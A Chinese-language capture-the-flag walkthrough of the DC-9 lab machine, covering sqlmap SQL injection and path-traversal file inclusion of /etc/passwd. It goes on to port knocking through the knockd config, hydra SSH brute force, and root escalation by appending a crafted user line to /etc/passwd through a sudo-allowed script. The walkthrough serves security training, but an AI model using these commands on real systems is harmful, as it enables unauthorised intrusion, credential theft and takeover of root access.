主机DC-9
主机DC-9
信息收集
扫描IP
扫描端口
查看技术栈信息
扫描目录
漏洞利用
发现sql注入
发现注入点
sqlmap跑一下获取信息
登录 页面发现有个sql注入,拿到sqlmap跑一下
sqlmap -r 111 --batch -dbs
sqlmap -r 111 --batch -D users --dump 数据库users
sqlmap -r 111 --batch -D Staff --dump 数据库Staff
admin密码MD5解密后:transorbital1
跑出账号密码,结果发现这个账号密码无效
无语😶
admin登录,显示文件不存在
为什么会出现这个原因呢???
- 当我们输入账号密码完成页面登录后,网站会自动指定并加载下一个页面路径,以此完成跳转
- 此时后端代码存在缺陷,导致路径跳转出错,就会显示文件不存在
- 如何被代码审计不严谨,会导致这里存在文件包含漏洞,最终出现登录成功文件却不存在的可被利用的漏洞现象
试一下文件包含 ---最先尝试file参数 路径穿越
发现文件包含
尝试用日志文件包含失败
日志文件路径:
/var/log/apache2/error.log
/var/log/httpd/error_log
http://192.168.222.137/welcome.php?file=../../../../../../etc/passwd
日志文件包含,写入一句话木马
结果是访问不了日志文件,应该是权限不够
换一种思路
开启ssh服务 ---端口敲门文件
发现ssh服务状态未开启 ---过滤状态
欸?被拒绝?我们返回看一下ssh服务状态
filtered 过滤
- 端口探测包被防火墙 / 安全设备拦截,无响应返回
如何解决filtered状态ssh服务???
用文件包含访问一下WP端口敲门文件
访问一下端口敲门文件
- 是Linux 下knockd服务的专属核心配置文件
- /etc/knocked.conf文件是端口敲门的(端口敲门:如果要访问22端口,如必须先访问1111,2222,3333端口后才能访问22端口)
这文件啥意思呢?
✅ 核心模块 1:[openSSH] → 「临时放行你的 IP 访问 22 端口」(重中之重)
[openSSH]
sequence = 7469,8475,9842 # 触发放行的「端口探测序列」:必须按【7469 → 8475 → 9842】顺序,向靶机发送TCP SYN包
seq_timeout = 25 # 序列探测的超时时间:25秒内完成3个端口的顺序探测,超时失效
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # 触发成功后执行的核心命令:给你的IP(%IP%)添加iptables白名单,放行22端口访问
tcpflags = syn # 探测数据包的类型:必须是TCP SYN包(端口扫描的标准包类型)
✅ 核心模块 2:[closeSSH] → 「取消你的 IP 放行,恢复封禁」
[closeSSH]
sequence = 9842,8475,7469 # 触发关闭的「端口探测序列」:按【9842 → 8475 → 7469】逆序探测
seq_timeout = 25 # 同样25秒超时限制
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # 核心命令:删除你的IP的22端口放行规则,恢复防火墙封禁
tcpflags = syn
nmap -p 7469 -sS -Pn 192.168.222.137
nmap -p 8475 -sS -Pn 192.168.222.137
nmap -p 9842 -sS -Pn 192.168.222.137
解决成功.
shell提权开始
测试ssh连接有效密码
hydra破解一下密码(看一下有几个有效的密码)
hydra -L userlist.txt -P passlist.txt 192.168.222.137 ssh
ssh远程登录
三个都登录进去。发现janitor多个一个目录
进入这个目录,发现一个密码文件
验证一下密码是谁的,先把密码导入文件中
echo >> passlist.txt <<EOF
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
EOF
重新hydra爆破
获取到账号密码
再次ssh登录
- 这次发现了一个重要文件脚本
sudo -l
发现有个文件可以利用
执行一下,让我们先读test.py
我们找一下这个文件在哪里
find / -name test.py 2>/dev/null
脚本内容:
这是一个 文件内容复制工具,作用是:读取第一个文件里的所有内容,完整追加写入到第二个文件末尾,实现「文件内容合并」效果。
提权思路
写入一个管理员用户,写在文件1,利用这个文件,把文件1拼接到/etc/passwd中!这样即可提权
生成 MD5 crypt 密码哈希的标准命令
openssl passwd -1 -salt sassb 123456
这个一会要写入/etc/passwd 所以密码格式要符合 MD5crypt加密
写入,拼接文件
echo 'sassb:$1$sassb$IvBlUCmefico.wPvouqm61:0:0::/root:/bin/bash' >> /tmp/ppp
- 给宿主机写入一个管理员用户
- /tmp/ppp只是随便写入的一个文件名
sudo ./test /tmp/ppp /etc/passwd
- 利用test脚本让它拼接到/etc/passwd
cat /etc/passwd
切换用户
su sassb
输入密码:123456

浙公网安备 33010602011771号